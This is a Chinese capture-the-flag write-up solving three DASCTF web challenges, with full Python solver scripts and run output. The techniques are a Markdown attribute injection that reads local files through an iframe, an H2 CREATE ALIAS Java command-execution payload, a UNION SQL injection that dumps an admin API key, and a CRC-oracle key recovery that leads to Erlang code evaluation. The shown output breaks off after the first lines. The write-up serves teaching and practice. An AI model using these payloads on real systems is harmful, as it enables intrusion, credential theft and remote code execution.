WEB

pdfchallenge

核心思路：Cherry Markdown 0.11.10 把代码块信息串转成小写后直接拼进 data-lang，并在段落消毒前缓存、消毒后还原。用 "><iframe src="/flag"> 闭合属性，即可在关闭了 file URI 隔离的 Firefox 页面里读出本地 flag。

1. 题目说明

题目是一个 Markdown 转 PDF 的网页，标题为 md2pdf，页脚为 @2hi5hu。页面只有一个文本框。前端把文本框内容原样提交：

POST /render HTTP/1.1
Content-Type: text/plain

# 任意 Markdown

成功时响应体是 PDF。本次实例是 http://1.14.76.59:19013。题目没有提供源码、flag 格式或 flag 路径。

2. 解题思路

服务把 Markdown 渲染成 HTML，再用 headless Firefox 打开对应的 file:// 文件并打印。Firefox 配置关掉了 security.fileuri.strict_origin_policy，因此这个页面里的 iframe 可以读取其他本地文件。正文中的 <iframe> 只会变成文本；Cherry Markdown 的代码块信息串却在 HTML 消毒之后才拼回页面。把信息串写成 "><iframe src="/flag">，打印结果里就会出现 /flag 的内容。

3. 解题过程

3.1 确认页面基地址和 file URI 策略

直接提交 <iframe src="/etc/passwd"> 时，PDF 文本层只有这串标签，没有 root:。说明正文里的 iframe 没有成为子文档。

同一注入点改走代码块后，可以读到容器里的文件。/app/package.json 的内容是：

{
  "name": "md2pdf",
  "version": "1.0.0",
  "private": true,
  "dependencies": {
    "cherry-markdown": "0.11.10",
    "express": "^5.2.1",
    "jsdom": "24.1.3",
    "ws": "^8.21.3"
  }
}

/app/ 下还有 convert.js。它的 render(file) 每次打印都新建 Firefox 配置，并写入：

user_pref("security.fileuri.strict_origin_policy", false);

然后用 WebDriver BiDi 打开本地文件并打印：

await send('browsingContext.navigate', {
  context: ctx,
  url: 'file://' + file,
  wait: 'complete',
}, 30000);
await sleep(3000);
const { data } = await send('browsingContext.print', {
  context: ctx,
  background: true,
}, 30000);

模块导出为 printPdf: file => lock(() => render(file))。实际 PDF 的 Creator 是 Mozilla Firefox 153.5.1，Producer 是 cairo 1.18.4。

因此 HTML 文档的基地址是 file://。iframe 的 src="/flag" 会被解析成 file:///flag。上面的偏好把 file URI 的严格同源策略关掉了，子文档可以读取 /flag、/etc/passwd 这类路径。

3.2 让代码块信息串变成真正的 iframe

cherry-markdown@0.11.10 的 CodeBlock.beforeMakeHtml 用围栏正则取出信息串，先 trim().toLowerCase()，再生成代码块 HTML 并放入缓存。占位符替换原文：

var $lang = lang.trim().toLowerCase();
cacheCode = _this4.cacheAndGetData(sign, function () {
  return _this4.$codeReplace($code, $lang, sign, lines);
}, 2e3, -300);
return addBlockQuoteSignToResult(_this4.getCacheWithSpace(_this4.pushCache(cacheCode, sign, lines), match));

引擎顺序是 $beforeMakeHtml、$dealParagraph、$afterMakeHtml。CodeBlock.afterMakeHtml 只调用 restoreCache(html)。段落阶段对正文 HTML 的消毒只能看到缓存占位符，看不到稍后还原出来的代码块。

还原出来的外壳由 renderCodeBlock 拼接。语言名再小写一次后，原样进入 data-lang，没有经过同文件里已有的 escapeHTMLSpecialChar：

lang = lang.toLowerCase();
var oldLang = lang;

同一条 .concat 链里，oldLang 没有转义就接在 data-lang=" 后面。下面是打包文件中的连续片段：

"data-lang=\"").concat(oldLang, "\"\n        style=\"position:relative\"\n        class=\"").concat(needUnExpand ? "cherry-code-unExpand" : "cherry-code-expand", "\"\n      >\n      ")

信息串只来自开围栏那一行，换行会结束语言名。把开围栏写成：

```"><iframe src="/etc/passwd" width="700" height="180"></iframe>

"> 先结束 data-lang 并关闭 <div>，后面的 <iframe> 成为独立标签。模板剩余部分变成文本。PDF 里先出现：

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

紧接着是残留文本：

" style="position:relative" class="cherry-code-expand" >

这和 data-lang 后面的固定属性一致，说明浏览器加载的是 iframe，而不是被转义后的源码。信息串里的标签名已经是小写，toLowerCase() 不会把它破坏掉。

3.3 读取 /flag

把 src 换成 /flag。基于 file:// 的页面会请求 file:///flag。用 pypdfium2 提取 PDF 文本层，得到：

FLAG
DASCTF{50644052674894822139765702863262}
" style="position:relative" class="cherry-code-expand" >
x

4. 完整解题脚本

import re
import requests
import pypdfium2 as pdfium

BASE = "http://1.14.76.59:19013"
payload = "\n".join([
    "# FLAG",
    "",
    '```"><iframe src="/flag" width="740" height="160"></iframe>',
    "x",
    "```",
    "",
])

s = requests.Session()
s.trust_env = False
r = s.post(
    BASE + "/render",
    data=payload.encode(),
    headers={"Content-Type": "text/plain"},
    timeout=90,
)
r.raise_for_status()
assert r.content.startswith(b"%PDF"), r.content[:200]

doc = pdfium.PdfDocument(r.content)
text = "\n".join(page.get_textpage().get_text_bounded() for page in doc)
print(text)
flags = re.findall(r"DASCTF\{[^}]+\}", text)
print(flags)
assert flags, "flag not found"

实际输出：

FLAG
DASCTF{50644052674894822139765702863262}
" style="position:relative" class="cherry-code-expand" >
x
['DASCTF{50644052674894822139765702863262}']

GraphNexus

核心思路：按页面注释连接 /ws/collab 的 NexusFrame 二进制帧，用 SUBSCRIBE 取得查询权限，再把 DSL 的 SQL() 打进 H2，CREATE ALIAS 执行 SUID 程序 /readflag。

第 3 行

1. 题目说明

某企业部署知识图谱平台 GraphNexus，支持多人实时协作和图谱查询。题目要求以安全审计人员身份评估该平台并获取系统中的敏感信息。

本次实例：

• Web：http://1.14.76.59:15916
• WebSocket：ws://1.14.76.59:15916/ws/collab
• 容器映射：nc/8080 -> 1.14.76.59:15916

附件只有出题元数据 problem.json，没有服务端源码。评估只能从线上页面、接口回包和 WebSocket 帧开始。实例地址会变，下文脚本把主机和端口做成参数，默认值就是本次实例。

2. 解题思路

/graph 页内联脚本写明协作通道是自定义二进制协议 NexusFrame，端点为 /ws/collab。帧格式是 4 字节魔数 NXUS、1 字节 opcode、4 字节大端长度和载荷。

连上后服务端先发 HELLO。页面虽然列出了 AUTH=0x02，但客户端发送 0x01、0x02 都回 UNKNOWN_OPCODE；未订阅就发 QUERY 则回 AUTH_REQUIRED。空载荷的 SUBSCRIBE (0x03) 直接返回 permissions=read,query,export,import。因此鉴权门是订阅，不是口令。

QUERY (0x05) 接受一套 DSL。非法命令的错误提示给出 SQL(query)。该命令原样进入 H2（错误码后缀 224，即 H2 2.2.224）。库内业务表没有 flag，于是用 H2 的 CREATE ALIAS ... AS $$ Java 源码 $$ 注册命令执行函数。进程身份是 appuser，/flag.txt 权限为 root:400，同目录的 /readflag 带 SUID，执行它即可读出 flag。

订阅响应已经带上 query 权限，建别名和执行都在这一条连接上顺序完成，不需要协议竞态。

3. 解题过程

3.1 还原 NexusFrame 并订阅

/graph 中的协议说明：

// Binary frame: [MAGIC:4B][OPCODE:1B][LENGTH:4B][PAYLOAD:NB]
// MAGIC = 0x4E585553
// Opcodes: HELLO=0x01, AUTH=0x02, SUBSCRIBE=0x03, UPDATE=0x04,
//          QUERY=0x05, EXPORT=0x06, IMPORT=0x07, RESULT=0x08
var wsUrl = 'ws://' + location.host + '/ws/collab';

0x4E585553 即 ASCII NXUS。用二进制 WebSocket 连上后，服务端主动发来一帧：

4E 58 55 53 | 01 | 00 00 00 5A | {"session":"nxs_...","protocol":"NexusFrame/2.3","encoding":"binary"}

0x01 是服务端的 HELLO，长度 0x5A = 90，与 JSON 字节数一致，说明长度是大端。

同一格式下，客户端行为与页面注释并不对称：

订阅的实际回包：

{"subscribed":true,"token":"nxs_52e3ae0fc0294ec5a2191dcb","permissions":"read,query,export,import"}

token 就是握手里的 session，权限里已经包含 query。后面的查询都发 opcode 0x05，结果帧 opcode 是 0x08。

3.2 用 DSL 的 SQL() 确认 H2

订阅后发送 QUERY，载荷 ping，服务端不把它当 Cypher，而是返回 DSL 帮助：

{"error":"UNKNOWN_DSL_COMMAND","code":400,"hint":"Available: NODES.count, NODES.all, NODES.find(query), EDGES.count, SQL(query)"}

逐条确认后，NODES.count 得到 15，NODES.find(Neural) 命中 “Neural Networks”。SQL(SELECT 1) 返回：

{"result":[{"1":"1"}],"code":200}

列出非系统表：

SQL(SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA NOT IN ('INFORMATION_SCHEMA'))

结果只有四张 PUBLIC 表：COLLAB_SESSIONS、KNOWLEDGE_EDGES、GRAPH_USERS、KNOWLEDGE_NODES。KNOWLEDGE_NODES.CONTENT 全是 “Knowledge content for node N ...” 这种占位文本，库里没有 flag。

解析器有一个影响 payload 形状的细节：SQL() 取到最外层右括号；若单引号紧贴这个右括号，闭合引号会被吃掉。例如

SQL(SELECT ... WHERE TABLE_SCHEMA='PUBLIC')

实际送到 H2 的语句停在 TABLE_SCHEMA='PUBLIC，报 42000-224。字符串放在内层括号中则保留，NOT IN ('INFORMATION_SCHEMA') 和后面的 CALL SH('/readflag') 都属于这种情况。

3.3 注册 Java 别名并执行 /readflag

H2 允许用 CREATE ALIAS 把一段 Java 方法注册成 SQL 函数。先用无副作用的别名确认语句真的执行，而不是 SQL() 对非查询语句假成功：

SQL(CREATE ALIAS HELLO AS $$ String hello() { return "hi"; } $$)
SQL(CALL HELLO())

第二条返回 {"result":[{"PUBLIC.HELLO()":"hi"}],"code":200}。别名生效。

接着注册带标准错误合并的命令执行函数，再列出根目录：

SQL(CREATE ALIAS SH AS $$ String sh(String c) throws Exception { Process p = new ProcessBuilder("sh","-c",c).redirectErrorStream(true).start(); p.waitFor(); return new String(p.getInputStream().readAllBytes()); } $$)
SQL(CALL SH('id; pwd; ls -la /'))

关键输出：

uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
/app
-r--------    1 root root    41 Oct 24 02:29 flag.txt
-rwsr-xr-x    1 root root 16184 Oct 19 06:38 readflag

/flag.txt 只有 root 可读。/readflag 属主 root 且带 SUID，任意用户执行都会以 root 读 flag。调用：

SQL(CALL SH('/readflag'))

返回：

{"result":[{"PUBLIC.SH('/readflag')":"DASCTF{30213254399634063225595738885123}\n"}],"code":200}

4. 完整解题脚本

依赖 websocket-client。主机、端口可覆盖默认实例。若环境变量里有 HTTP_PROXY、HTTPS_PROXY 或 ALL_PROXY，握手走该 HTTP 代理；没有则直连。握手偶尔会被对端直接断开，所以连接最多重试 6 次。CREATE ALIAS IF NOT EXISTS 保证别名已存在时脚本仍可重复执行。

#!/usr/bin/env python3
"""GraphNexus: NexusFrame WebSocket -> H2 CREATE ALIAS -> /readflag"""
import os
import struct
import sys
import time
from urllib.parse import urlparse

from websocket import create_connection

HOST = sys.argv[1] if len(sys.argv) > 1else"1.14.76.59"
PORT = int(sys.argv[2]) if len(sys.argv) > 2else15916


def frame(op: int, payload: bytes) -> bytes:
    # 大端：MAGIC "NXUS" | opcode 1B | payload 长度 4B | payload
    return struct.pack(">IBI", 0x4E585553, op, len(payload)) + payload


def parse(msg: bytes):
    ifnot isinstance(msg, (bytes, bytearray)) or len(msg) < 9or msg[:4] != b"NXUS":
        raise ValueError(repr(msg))
    _magic, op, length = struct.unpack(">IBI", msg[:9])
    return op, msg[9 : 9 + length]


def proxy_kwargs():
    raw = (
        os.environ.get("https_proxy")
        or os.environ.get("HTTPS_PROXY")
        or os.environ.get("http_proxy")
        or os.environ.get("HTTP_PROXY")
        or os.environ.get("ALL_PROXY")
    )
    ifnot raw:
        return {}
    parsed = urlparse(raw)
    ifnot parsed.hostname:
        return {}
    return {"http_proxy_host": parsed.hostname, "http_proxy_port": parsed.port or80}


def query(ws, dsl: str) -> str:
    ws.send(frame(0x05, dsl.encode()), opcode=2)
    _op, payload = parse(ws.recv())
    return payload.decode()


def connect():
    last = None
    for attempt in range(6):
        try:
            ws = create_connection(
                f"ws://{HOST}:{PORT}/ws/collab",
                timeout=12,
                **proxy_kwargs(),
            )
            ws.settimeout(20)
            return ws
        except Exception as exc:
            last = exc
            print(f"connect retry {attempt}: {type(exc).__name__}: {exc}", file=sys.stderr)
            time.sleep(1.2)
    raise last


def main():
    ws = connect()
    print("greet", parse(ws.recv())[1].decode())

    # 0x03 SUBSCRIBE：空载荷即可拿到 query 权限，无需 AUTH
    ws.send(frame(0x03, b""), opcode=2)
    print("subscribe", parse(ws.recv())[1].decode())

    # H2 源码别名。SQL() 以最后一个 ')' 结束，Java 里的括号不受影响。
    created = query(
        ws,
        "SQL(CREATE ALIAS IF NOT EXISTS SH AS $$ "
        "String sh(String c) throws Exception {"
        "Process p = new ProcessBuilder(\"sh\",\"-c\",c).redirectErrorStream(true).start();"
        "p.waitFor();"
        "return new String(p.getInputStream().readAllBytes());"
        "} $$)",
    )
    print("create", created)

    # /flag.txt 为 root:400；/readflag 是 SUID，直接执行即可
    print(query(ws, "SQL(CALL SH('/readflag'))"))
    ws.close()


if __name__ == "__main__":
    main()

实际输出：

greet {"session":"nxs_9b0ba7cb1d404a6998e28dc8","protocol":"NexusFrame/2.3","encoding":"binary"}
subscribe {"subscribed":true,"token":"nxs_9b0ba7cb1d404a6998e28dc8","permissions":"read,query,export,import"}
create {"result":{"affected":0},"code":200}
{"result":[{"PUBLIC.SH('/readflag')":"DASCTF{30213254399634063225595738885123}\n"}],"code":200}

FluxPipe

核心思路：status 上的 Ecto 拼接注入取出 admin API key，再用 FPX 帧的 CRC 回显恢复 16 字节 XOR-Rotate 密钥，读出 ETS 里的 Erlang cookie，最后以 cookie|code 执行 File.read!("/flag.txt")。

第 3 行

1. 题目说明

某企业内部的实时数据流管道配置平台 FluxPipe 被报告可能存在未授权访问。任务是做安全评估并拿到系统中的敏感信息。附件只有出题元数据 problem.json，没有服务端源码。元数据写明语言是 Elixir，框架是 Plug/Cowboy，数据库是 PostgreSQL 15，flag 形如 DASCTF{}。

本次实例：

• Web：http://1.14.76.59:29253
• 容器映射：nc/4000 -> 1.14.76.59:29253

健康检查 GET /api/v1/health 的稳定字段是：节点 fluxpipe@127.0.0.1，Cowboy，BEAM 27，PostgreSQL 已连接，Erlang distribution 打开，EPMD 端口 4369，内部 FPX 监听 4001。4001 和 4369 从外网连不上，后面的协议都走 HTTP。

实例地址会变。下文脚本把主机和端口做成参数，默认值就是本次实例。

2. 解题思路

未登录可以列出管道，也可以搜索。/api/v1/pipelines/search 的 status 被直接拼进 SQL，报错会回显整句查询。用 UNION SELECT 从 users 读出管理员的 api_key，POST /api/v1/auth 换成 Bearer token。

POST /api/v1/debug/eval 即使带了管理员 token 也只返回生产环境禁用代码执行，并提示改走 FPX。POST /api/v1/fpx/handshake 建立会话。命令帧是 FBAE | opcode | 长度 | 载荷 | CRC16-MODBUS。CRC 算的不是线上的原始载荷，而是 XOR-Rotate 之后的字节，并且校验失败时会回显期望值。全 0 明文会把循环移位掩盖掉，于是可以用这个 oracle 逐字节恢复 16 字节密钥。

opcode 2 把变换后的字节当作 ETS 表名。对表名做逆变换再发出去，就能读到 pipeline_secrets 里的 Erlang cookie。opcode 4 的格式是 cookie|code，Code.eval_string 直接读 /flag.txt。

3. 解题过程

3.1 用 status 的报错确认拼接 SQL，取出 API key

GET /api/v1/pipelines 不需要认证，返回 5 条管道。搜索接口是 GET /api/v1/pipelines/search?q=，q=kafka 只剩 ingestion-kafka，说明 q 按名称子串过滤。

把单引号放进 status：

GET /api/v1/pipelines/search?q=kafka&status='

返回 500，并带出完整语句：

Query error: ERROR 42601 (syntax_error) unterminated quoted string at or near "'''"

query: SELECT id, name, description, status FROM pipelines
       WHERE 1=1 AND name ILIKE '%kafka%' AND status = '''

因此服务端大致是：

SELECT id, name, description, status
FROM pipelines
WHERE 1=1 AND name ILIKE '%{q}%' AND status = '{status}'

q 上的单引号只得到 {"results":[]}，没有这段回显；注入点是 status。它位于语句末尾，-- 可以吃掉服务端补上的右引号。

id 是整数。下面这种把 information_schema 的 name 类型放进第一列的写法会失败：

ERROR 42804 (datatype_mismatch) UNION types integer and name cannot be matched

第一列改成整数后，public 下有四张表：pipelines、transform_rules、alert_policies、users。读用户：

GET /api/v1/pipelines/search?q=zzz&status=' UNION SELECT id, username, api_key, role FROM users--

q=zzz 让原来的 ILIKE 匹配不到管道，结果全部来自 UNION。JSON 字段顺序是 id, name, description, status，对应上面选出的四列。本次返回：

[
  {"id": 2, "name": "operator", "status": "operator", "description": null},
  {"id": 3, "name": "viewer", "status": "viewer", "description": null},
  {"id": 1, "name": "admin", "status": "admin", "description": "Rz7qQdlg4ric3rvzIN6qy06mp3NEE0q0"}
]

管理员 API key 是 Rz7qQdlg4ric3rvzIN6qy06mp3NEE0q0。

3.2 换 token，确认代码执行只能走 FPX

POST /api/v1/auth，JSON 为 {"api_key":"Rz7qQdlg4ric3rvzIN6qy06mp3NEE0q0"}，返回 {"token":"<32 hex>","role":"admin"}。token 每次登录都变，后续请求带 Authorization: Bearer <token>。

POST /api/v1/debug/eval，body {"code":"1+1"}，有没有管理员 token 都是：

{"result":"SandboxError: code execution disabled in production","hint":"Use FPX protocol for debug commands"}

POST /api/v1/fpx/handshake 带 Bearer token 则成功。本次一次运行的回包是：

{"protocol":"FPX/1.0","session_id":"f3e6ae1be565ac8b","nonce_hint":"69bd001e...????????????????????????"}

session_id 每次握手都变。nonce_hint 的前 8 个十六进制字符固定是 69bd001e，后面 24 个问号，一共暗示 16 字节，其中后 12 字节未知。没有 session_id 时，POST /api/v1/fpx/command 返回 Invalid session. Initiate handshake first.

3.3 从报错还原帧和 CRC16-MODBUS

frame 是十六进制字符串。短于 7 字节时返回 frame too short；满 7 字节的全 0 返回 invalid magic bytes, expected FBAE。魔数之后再测长度，帧格式是：

FBAE | opcode (1) | length (2, 大端) | payload (length 字节) | CRC16 (2, 大端)

CRC 不算魔数。opcode 0、长度 0、CRC 填 0 的帧 fbae0000000000 返回：

CRC mismatch: expected C071, got 0

对 00 00 00 计算 CRC-16/MODBUS（多项式 0x8005 的反射形式 0xA001，初值 0xFFFF，无 xorout，输入输出都按位反射）正好是 0xC071。服务端把这个期望值直接写进错误信息，所以错误 CRC 就是 oracle，不必再盲猜算法。

空载荷时变换没有材料，CRC 只覆盖 opcode || length。扫 opcode 得到：

opcode 3 的 node_info 给出 cookie_hash=c3cabb6f36189ec6f94ebfb6f2337541，以及节点名 fluxpipe、分布端口 44519。这只是哈希，不能直接当 cookie 用。

3.4 用全 0 明文和 CRC oracle 恢复 XOR-Rotate 密钥

载荷非空时，如果按原始字节计算 CRC，服务端期望值和本地值对不上。全 0 明文例外：发送 n 个 0x00、CRC 填 0，期望 CRC 等于

CRC16-MODBUS( opcode || length || k[0] || k[1] || ... || k[n-1] )

其中 k 的前 4 字节就是 nonce_hint 里的 69 bd 00 1e。原因是循环移位不改变 0：ror(0, i) = 0，再 XOR 密钥就得到密钥本身。所以全 0 只能证明“XOR 上了这段密钥”，证明不了移位。

移位要用非 0 字节区分。opcode 2、payload 为 00 01 时，服务端期望 CRC 是 0x8113。只做 XOR、不移位，本地 CRC 是 0xE1D3，对不上。按字节下标循环右移再 XOR：

ct[i] = ror8(pt[i], i) XOR key[i mod 16]
ror8(b, n) = 把 b 右旋 (n mod 8) 位

pt = 00 01 时，ct = 69 3d（ror8(0x01, 1) = 0x80，0x80 XOR 0xbd = 0x3d），CRC(02 00 02 69 3d) = 0x8113，与服务端一致。ABCD 的期望值 0x20DD、:pipelin 的期望值 0x3031 也同样只和“按下标右旋再 XOR”一致，和纯 XOR、左旋都不一致。

密钥后 12 字节不必再猜变换。明文继续用 0，每次把载荷加长 1 字节，在 256 个候选里找唯一能使 CRC 等于回显值的字节。本次恢复过程：

key[00] 69 expected=22C0
key[01] bd expected=2112
key[02] 00 expected=F1A0
key[03] 1e expected=B0C4
key[04] 68 expected=ACB1
key[05] a5 expected=0F9F
key[06] 3e expected=740F
key[07] 1e expected=FCF5
key[08] 08 expected=446C
key[09] 66 expected=43CB
key[10] 93 expected=39BF
key[11] 19 expected=3DB2
key[12] 4b expected=83FD
key[13] e1 expected=C8C1
key[14] 4e expected=3448
key[15] d2 expected=5D8C

第 17 个明文字节（下标 16）再次解出 0x69，和 key[0] 相同，周期就是 16。密钥：

69bd001e68a53e1e086693194be14ed2

前 4 字节与 nonce_hint 一致。握手提示里那 24 个问号就是这里用 oracle 补上的 12 字节。

3.5 逆变换读取 pipeline_secrets

服务端的顺序是：先对收到的 payload 做上一节的变换，用变换结果校验 CRC，再把变换结果交给命令。opcode 2 会把这串字节交给 binary_to_existing_atom。因此线上要放的是逆元，CRC 要按变换之后的逻辑明文来算：

pt[i] = rol8(logical[i] XOR key[i mod 16], i)
CRC   = CRC16-MODBUS(opcode || length || logical)

若把表名原文放进帧里，CRC 虽然也能配平，但服务端拿到的是变换后的二进制，返回 invalid UTF8 encoding。list_ets 把原子打印成 :pipeline_secrets，这个冒号是 Elixir 的显示习惯；带冒号去 binary_to_existing_atom 会得到 not an already existing atom。实际原子名是 pipeline_secrets。

筛选后的业务表：

:pipeline_secrets   public  size 3
:session_store      public
:fpx_sessions       public
:rate_limits        public  size 0
:debug_tokens       public  size 0

opcode 2、逻辑明文 pipeline_secrets 的结果：

{"command":"read_ets","table":"pipeline_secrets","entries":[
  ["\"fpx_master_key\"","<<105, 189, 0, 30, 104, 165, 62, 30, 8, 102, 147, 25, 75, 225, 78, 210, 84, 214, 131, 206, 98, 89, 25, 35, 2, 185, 122, 250, 105, 63, 121, 246>>"],
  ["\"admin_api_key\"","\"Rz7qQdlg4ric3rvzIN6qy06mp3NEE0q0\""],
  ["\"erlang_cookie\"","\"NNRFieuvanJbGUVOV7veaiMiFLPa6mle\""]
]}

fpx_master_key 的前 16 字节就是刚恢复的密钥（105,189,0,30,... 即 69 bd 00 1e ...）。后 16 字节这次没有参与组帧。cookie 是：

NNRFieuvanJbGUVOV7veaiMiFLPa6mle

本地核对 MD5(cookie) 等于 opcode 3 给出的 cookie_hashc3cabb6f36189ec6f94ebfb6f2337541。哈希只用来印证，破解它并不是读取 cookie 的步骤。

3.6 用 cookie|code 读 /flag.txt

opcode 4 的逻辑明文是 cookie|code，一个竖线分隔。代码里不要再放竖线，避免分界不清。本次执行：

{File.ls!("/"), File.read!("/flag.txt")}

返回：

{["root", "lib64", "sbin", "tmp", "bin", "dev", "media", "sys", "home", "etc", "lib", "run", "proc", "boot", "var", "usr", "mnt", "opt", "srv", "readflag", "flag.txt", ".dockerenv", "start.sh", "readflag.c", "app"], "DASCTF{54503867645671680447712158825207}\n"}

根目录上还有 readflag 和 readflag.c，但 flag.txt 对当前 BEAM 进程可读，不需要再执行 SUID 程序。

4. 完整解题脚本

只依赖 Python 标准库。脚本强制不走 HTTP_PROXY：本机代理会把稍慢的响应变成 502。把下面的代码保存为 fluxpipe_solve.py。

#!/usr/bin/env python3
"""FluxPipe solver. Stdlib only. Ignores HTTP_PROXY (the local proxy turns slow replies into 502)."""

import json
import re
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

HOST = "1.14.76.59"
PORT = 29253


def crc16_modbus(data: bytes) -> int:
    crc = 0xFFFF
    for byte in data:
        crc ^= byte
        for _ in range(8):
            if crc & 1:
                crc = (crc >> 1) ^ 0xA001
            else:
                crc >>= 1
    return crc & 0xFFFF


def rol8(byte: int, bits: int) -> int:
    bits %= 8
    if bits == 0:
        return byte & 0xFF
    return ((byte << bits) | (byte >> (8 - bits))) & 0xFF


class Client:
    def __init__(self, base: str):
        self.base = base
        self.opener = urllib.request.build_opener(urllib.request.ProxyHandler({}))

    def request(self, method, path, obj=None, token=None, timeout=20, tries=6):
        headers = {"User-Agent": "fluxpipe-solve", "Accept": "application/json"}
        data = None
        if obj isnotNone:
            data = json.dumps(obj).encode()
            headers["Content-Type"] = "application/json"
        if token:
            headers["Authorization"] = "Bearer " + token
        last = "no attempt"
        for attempt in range(tries):
            req = urllib.request.Request(self.base + path, data=data, method=method, headers=headers)
            try:
                with self.opener.open(req, timeout=timeout) as resp:
                    return resp.status, resp.read().decode("utf-8", "replace")
            except urllib.error.HTTPError as exc:
                body = exc.read().decode("utf-8", "replace")
                # 4xx/5xx from the app is a real answer, not a transport failure
                return exc.code, body
            except Exception as exc:
                last = f"{type(exc).__name__}: {exc}"
                time.sleep(0.4 * (attempt + 1))
        raise RuntimeError(last)

    def get(self, path):
        return self.request("GET", path)

    def post(self, path, obj, token=None):
        return self.request("POST", path, obj, token=token)


def sql_admin_key(client: Client) -> str:
    # status 拼在单引号里，且是语句末尾，用 -- 吃掉服务端补上的引号。
    # 第 1 列对应 pipelines.id，必须是整数。
    status = "' UNION SELECT id, username, api_key, role FROM users--"
    path = "/api/v1/pipelines/search?" + urllib.parse.urlencode({"q": "zzz", "status": status})
    code, body = client.get(path)
    if code != 200:
        raise RuntimeError(f"sqli failed {code} {body[:300]}")
    rows = json.loads(body)["results"]
    print("users", json.dumps(rows, ensure_ascii=False))
    for row in rows:
        if row.get("name") == "admin"and row.get("description"):
            return row["description"]
    raise RuntimeError("admin api_key missing")


def login(client: Client, api_key: str):
    code, body = client.post("/api/v1/auth", {"api_key": api_key})
    if code != 200:
        raise RuntimeError(f"auth failed {code} {body[:300]}")
    data = json.loads(body)
    print("auth", body)
    return data["token"]


def handshake(client: Client, token: str):
    code, body = client.post("/api/v1/fpx/handshake", {}, token=token)
    if code != 200:
        raise RuntimeError(f"handshake failed {code} {body[:300]}")
    print("handshake", body)
    data = json.loads(body)
    return data["session_id"], data["nonce_hint"]


def fpx(client: Client, token: str, sid: str, frame: bytes):
    code, body = client.post(
        "/api/v1/fpx/command",
        {"session_id": sid, "frame": frame.hex()},
        token=token,
    )
    return code, body


def probe_crc(client: Client, token: str, sid: str):
    # opcode 0, length 0, crc 0. 服务端回显它对 opcode||length||payload 算出的 CRC。
    raw = bytes.fromhex("fbae0000000000")
    code, body = fpx(client, token, sid, raw)
    print("crc_probe", code, body)
    match = re.search(r"expected ([0-9A-Fa-f]+)", body)
    ifnot match or int(match.group(1), 16) != crc16_modbus(bytes.fromhex("000000")):
        raise RuntimeError("CRC16-MODBUS self-check failed")


def expected_crc(client: Client, token: str, sid: str, opcode: int, payload: bytes) -> int:
    length = len(payload).to_bytes(2, "big")
    raw = bytes.fromhex("fbae") + bytes([opcode]) + length + payload + b"\x00\x00"
    last = ""
    for _ in range(6):
        code, body = fpx(client, token, sid, raw)
        match = re.search(r"expected ([0-9A-Fa-f]+)", body)
        if match:
            return int(match.group(1), 16)
        last = f"{code} {body[:180]}"
        time.sleep(0.3)
    raise RuntimeError("no crc oracle: " + last)


def recover_key(client: Client, token: str, sid: str) -> bytes:
    # 明文为 0 时 ror(0, i) = 0，变换结果就是密钥字节。逐字节扩，CRC 唯一确定该字节。
    key = bytearray()
    for index in range(16):
        payload = b"\x00" * (index + 1)
        expected = expected_crc(client, token, sid, 2, payload)
        prefix = bytes([2]) + len(payload).to_bytes(2, "big") + bytes(key)
        hits = [guess for guess in range(256) if crc16_modbus(prefix + bytes([guess])) == expected]
        if len(hits) != 1:
            raise RuntimeError(f"key[{index}] ambiguous: {hits}")
        key.append(hits[0])
        print(f"key[{index:02d}] {hits[0]:02x} expected={expected:04X}")
    # 第 17 字节应回到 key[0]，确认周期是 16
    payload = b"\x00" * 17
    expected = expected_crc(client, token, sid, 2, payload)
    prefix = bytes([2]) + len(payload).to_bytes(2, "big") + bytes(key)
    again = next(g for g in range(256) if crc16_modbus(prefix + bytes([g])) == expected)
    print("key_repeat", f"{again:02x}", "ok"if again == key[0] else"MISMATCH")
    print("recovered_key", key.hex())
    return bytes(key)


def logical_frame(opcode: int, logical: bytes, key: bytes) -> bytes:
    """服务端先做 ct[i] = ror(pt[i], i) XOR key[i%16]，再对 ct 做 CRC，并把 ct 当作参数。

    要让 ct 等于 logical，发送的字节必须是它的逆：pt[i] = rol(logical[i] XOR key[i%16], i)。
    CRC 覆盖 opcode || length || logical。
    """
    sent = bytes(
        rol8(logical[i] ^ key[i % 16], i) for i in range(len(logical))
    )
    length = len(logical).to_bytes(2, "big")
    crc = crc16_modbus(bytes([opcode]) + length + logical).to_bytes(2, "big")
    return bytes.fromhex("fbae") + bytes([opcode]) + length + sent + crc


def main():
    host = sys.argv[1] if len(sys.argv) > 1else HOST
    port = int(sys.argv[2]) if len(sys.argv) > 2else PORT
    client = Client(f"http://{host}:{port}")

    code, body = client.post("/api/v1/debug/eval", {"code": "1+1"})
    print("debug_eval", code, body)

    api_key = sql_admin_key(client)
    print("admin_api_key", api_key)
    token = login(client, api_key)
    sid, hint = handshake(client, token)
    print("nonce_hint", hint)

    probe_crc(client, token, sid)
    key = recover_key(client, token, sid)

    code, body = fpx(client, token, sid, logical_frame(1, b"", key))
    print("list_ets", code, body)
    names = [
        item["name"]
        for item in json.loads(body)["tables"]
        if any(word in item["name"] for word in ("pipeline", "session", "fpx", "debug", "rate", "secret"))
    ]
    print("ets_names", names)

    code, body = fpx(client, token, sid, logical_frame(3, b"", key))
    print("node_info", code, body)

    code, body = fpx(client, token, sid, logical_frame(2, b"pipeline_secrets", key))
    print("pipeline_secrets", code, body)
    cookie_match = re.search(r"erlang_cookie.*?([A-Za-z0-9]{16,})", body)
    ifnot cookie_match:
        raise RuntimeError("cookie not in ets")
    cookie = cookie_match.group(1)
    print("erlang_cookie", cookie)

    code_src = '{File.ls!("/"), File.read!("/flag.txt")}'
    code, body = fpx(client, token, sid, logical_frame(4, f"{cookie}|{code_src}".encode(), key))
    print("eval", code, body)
    flag = re.search(r"DASCTF\{[^}]+\}", body)
    ifnot flag:
        raise RuntimeError("flag not found")
    print("flag", flag.group(0))


if __name__ == "__main__":
    main()

实际输出：list_ets 返回了 70 余张表的完整 JSON，下面删去这一行正文，其余是同一次运行的逐字输出。

debug_eval 200 {"result":"SandboxError: code execution disabled in production","hint":"Use FPX protocol for debug commands"}
users [{"id": 2, "name": "operator", "status": "operator", "description": null}, {"id": 3, "name": "viewer", "status": "viewer", "description": null}, {"id": 1, "name": "admin", "status": "admin", "description": "Rz7qQdlg4ric3rvzIN6qy06mp3NEE0q0"}]
